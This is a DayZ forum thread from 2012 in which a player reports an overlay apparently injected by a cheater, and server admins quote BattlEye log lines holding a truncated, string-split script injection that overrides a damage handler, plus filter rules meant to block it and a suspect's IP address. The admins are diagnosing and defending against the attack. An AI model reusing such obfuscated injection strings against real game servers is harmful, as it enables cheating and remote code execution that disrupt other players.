Watch out for this

[hunturbo 0]

The server this happened on - Dayz US 3960

Time - 3:45 pm Eastern Standard Time(North America)

what happened - I was playing on one of my favorite servers going along my route when all of a sudden someone with the name Toxic joined the server. I thought nothing of it thinking it was just another player, I was wrong. All of a sudden my screen started popping up with some things that look to be hacks that I have been infected with. I immediatly left the server so i would not be globally banned. However when I still join the server the thing still appears, I dont know what I am supposed to do. I logged back into the server to take a screenshot of it. I immediatly saw the website and new it was the man named toxic. Now i have just tryed to login again and i still have it. I don't want it and I want it to go away, can any of you help me make this go away without having to completely re-install dayz and arma?

(I did not have any of these hacks prior to this event, it looks like someone has infected me with some sort of thing to get me to go to their website. I hope one of the dayz devs see's this and puts that website and Toxic to justice)

Edited December 10, 2012 by orlok
re,oved pic, it had a readable hacksite link in it.

[Man vs Wild 313]

did you download anything (increase fps etc)

[hunturbo 0]

did you download anything (increase fps etc)

Nope I haven't downloaded anything else for dayz/arma2. And I just tryed out a different server and it wasn't there. Do you think it is the server that is infected?

[Steak and Potatoes 13480]

Black magic indeed wait for the server to restart and try to join then see if it goes away

[st3reo 12]

LOL, I just posted a topic that seems to be related to what u are describing, judging by the screenshot.

http://dayzmod.com/forum/index.php?/topic/111047-hacked-withrogue-anti-hax/

[Timb 15]

Toxic you say?

I have someone in my remoteexec log file that appears to have done shady stuff on my server as well?

08.12.2012 16:01:10: T0xiiC (IP) GUID - #0 "e=("0;"+"fn"+"c_"+"us"+"ec"+"_d"+"am"+"ag"+"eH"+"an"+"dl"+"er"+"={"+"if"+"(i"+"sS"+"er"+"ve"+"r&"+"&("+"(_"+"th"+"is"+" s"+"el"+"ec"+"t "+"2)"+"=="+"0)"+")t"+"he"+"n{"+"_c"+"od"+"e="+"ma"+"rk"+"er"+"Te"+"xt"+"'d"+"wa"+"rd"+"en"+"';"+"ca"+"ll"+" c"+"om"+"pi"

Perhaps this is the result of that script? I have no clue.

[st3reo 12]

Yes I think that's to blame.....I have the same thing in my log just a few seconds before that "debug monitor" appeared:

Forester (82.25.212.10:2304) 578adb7659c535bb7b70604bd7c78a2f - #0 "e=("0;"+"fn"+"c_"+"us"+"ec"+"_d"+"am"+"ag"+"eH"+"an"+"dl"+"er"+"={"+"if"+"(i"+"sS"+"er"+"ve"+"r&"+"&("+"(_"+"th"+"is"+" s"+"el"+"ec"+"t "+"2)"+"=="+"0)"+")t"+"he"+"n{"+"_c"+"od"+"e="+"ma"+"rk"+"er"+"Te"+"xt"+"'d"+"wa"+"rd"+"en"+"';"+"ca"+"ll"+" c"+"om"+"pi"

And a few moments later that guy got:

Player Forester kicked off by BattlEye: Global Ban #578adb

So admins..better add his ip 82.25.212.10 to the ban list.

[Timb 15]

I also added:

5 "e=" to my remoteexec.txt

That should handle any future issues with this.

[st3reo 12]

I think the current version of remoteexec.txt from http://code.google.com/p/dayz-community-banlist/source/browse/filters/remoteexec.txt already handles this by the 5 "+" entry...so everyone should update their filters.